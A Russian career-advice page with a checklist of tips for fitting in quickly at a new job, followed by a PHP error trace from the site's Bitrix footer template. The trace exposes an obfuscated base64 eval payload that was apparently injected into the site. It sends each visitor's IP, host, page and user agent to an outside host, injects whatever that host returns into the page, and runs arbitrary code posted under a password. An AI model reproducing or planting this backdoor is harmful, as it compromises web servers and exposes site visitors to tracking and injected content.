Быстрая адаптация на новом рабочем месте

Полезная информация

Как быстрее адаптироваться в новом рабочем пространстве и научиться быть полезным на своей должности . 

Влиться в коллектив ― это значит научиться вести себя правильно, 
в соответствии с корпоративными нормами компании, найти свое  место, получить признание и уважение коллег. Это означает также налаживание личных связей и отношений, адаптацию в культурном и рабочем пространстве организации.

Взяться за дело ― это значит эффективно исполнять свои рабочие обязанности, отвечать требованиям, делать позитивный вклад в выполнение задач и достижение целей организации.

Первые недели и месяцы играют ключевую роль в создании фундамента для личных достижений в новой организации. Но начало работы ― это и время разнообразных вызовов. Надо знакомиться с людьми, получать новые знания и работать над новыми задачами. По мере решения проблем и освоения возможностей ваши профессиональные таланты и навыки вырастут. В предлагаемом чек-листе перечислены действия, которые помогут менеджерам-новичкам развить стратегию успеха и предотвратить вероятные проблемы. В нем кратко изложено, как освоиться на новом месте, выстроить отношения, а также доказать, что вы способны справляться с поставленными задачами.

Полезные советы:

·         Приходите  на  работу  вовремя.

·         Помните, что Вам будет необходимо быстро усвоить большой поток информации: имена, фамилии, телефоны, расположения кабинетов, порядок действий, распорядок дня и т. д. Для лучшего запоминания заведите ежедневник для записей, тогда Вы ничего не забудете!

·         Организуйте своё рабочее место и рабочее время в соответствии с принятыми в компании нормами и правилами.

·         Постарайтесь четко определить свои функции и обязанности, согласуйте их с непосредственным  начальником.

·         Полезно выяснить, в чем заключаются обязанности других членов коллектива, чтобы вы  смогли  определить, как  наилучшим  образом  взаимодействовать  с  остальными  работниками  к  взаимной  пользе.

·         Если  Вы  не  знаете, как  поступить, не стесняйтесь  задавать  вопросы. Лучше спросить, чем  допустить  ошибку.

·         Запланируйте на следующий день даже больше, чем успеете сделать – это Вас «подгонит». Такой практике следуйте в дальнейшем.

·         Очень важно вести себя так, чтобы у окружающих составилось мнение, что Вы пришли на работу полноценно трудиться, а не просто коротать время. Необходимо до минимума свести личные беседы по телефону, перекуры, кофе-паузы, общение в социальных сетях и личную переписку. Не закачивайте в рабочий компьютер игры.

·         Будьте  готовы  к  обучению. Каждый человек на новом рабочем месте проходит стадию  ученичества, т.к. даже если новая работа  соответствует по профилю и содержанию  предыдущей  деятельности, она  все  равно  имеет свою конкретную специфику.

·         Если Вас критикуют, постарайтесь использовать  критику  себе  во  благо: попробуйте действовать в соответствии с замечаниями и  попытайтесь исправить те ошибки, которые  сделали  Вас  уязвимыми.

·           О Ваших ошибках начальство должно узнавать от Вас, а не от кого-то другого. Не ищите оправданий, предлагайте, как исправить положение.

·           Постарайтесь больше слушать и меньше говорить. Тогда Вы произведете впечатление тактичного  и  внимательного  человека.

·           Соблюдайте поведенческие стандарты, сложившиеся  в  коллективе: время прихода и ухода, манера одеваться, содержание рабочего места, обед, проведение  праздников  и  т.д.

·           Уделяйте людям не меньше внимания, чем Вашим должностным обязанностям. Установление хороших отношений в новом коллективе  не  менее  важно, чем  качество  Вашей  работы.

·           Следует помнить, что сведения о заработке считаются конфиденциальной информацией, обсуждать которую считается неприличным.

·           Не поддерживайте разговоров, содержащих критику в чей-то адрес, особенно за спиной отсутствующего.

·           Не будьте слишком открыты в вопросах, касающихся  Вашей  личной  жизни: неизвестно, как эта информация может отозваться Вам в  дальнейшем.

·           Не забывайте составлять ежедневные отчеты о проделанной работе, даже если на новом месте это не принято. Через пару недель наступит предварительный «разбор полетов», они вам помогут четко ответить на все вопросы, связанные с проделанной работой. Организованный и уверенный в себе работник всегда производит благоприятное впечатление.

 Помните, что сначала человек работает на репутацию, а  потом  уже  репутация  работает  на  человека.

[ErrorException] E_USER_ERROR
eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vZXJ5b21hLmNvbS9nZXQucGhwP2lwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKS4iJmQ9Ii51cmxlbmNvZGUoJG5hbWUuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiImdT0iLiR1c2VyYS4iJmk9MSZoPSIubWQ1KCI2Y2MxOTdmOTgzNjNkODIzNGI4ZjM0YjI3OTBjZDdhNjExIik7CmlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOwokaWJ2ID0gY3VybF9leGVjKCRjaCk7JGluZm8gPSBjdXJsX2dldGluZm8oJGNoKTtpZiAoJGluZm9bImh0dHBfY29kZSJdIT0yMDApeyRpYnY9IiI7fQpjdXJsX2Nsb3NlKCRjaCk7Cn0gZWxzZWlmKGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpIHsKJGlidiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwp9CmlmKCFlbXB0eSgkX1BPU1RbInAiXSkgJiYgbWQ1KG1kNSgkX1BPU1RbInAiXSkpID09ICI3YjZjNmNmOTYzMDNiMjAzMzk3ZTAxOTU0MTQ4ZDY3MSIpIHsgQGV2YWwoc3RyaXBzbGFzaGVzKCRfUE9TVFsiYyJdKSk7IH0KZWNobyAkaWJ2Owp9IH0=")); (0)
/data/www/www.seun.ru/bitrix/templates/seun_adapt_copy/footer.php:65
#0: assert(string)
	/data/www/www.seun.ru/bitrix/templates/seun_adapt_copy/footer.php:65
#1: include_once(string)
	/data/www/www.seun.ru/bitrix/modules/main/include/epilog_before.php:93
#2: require(string)
	/data/www/www.seun.ru/bitrix/modules/main/include/epilog.php:2
#3: require_once(string)
	/data/www/www.seun.ru/bitrix/footer.php:4
#4: require(string)
	/data/www/www.seun.ru/content/job/7/bystraya-adaptatsiya-na-novom-rabochem-meste/index.php:58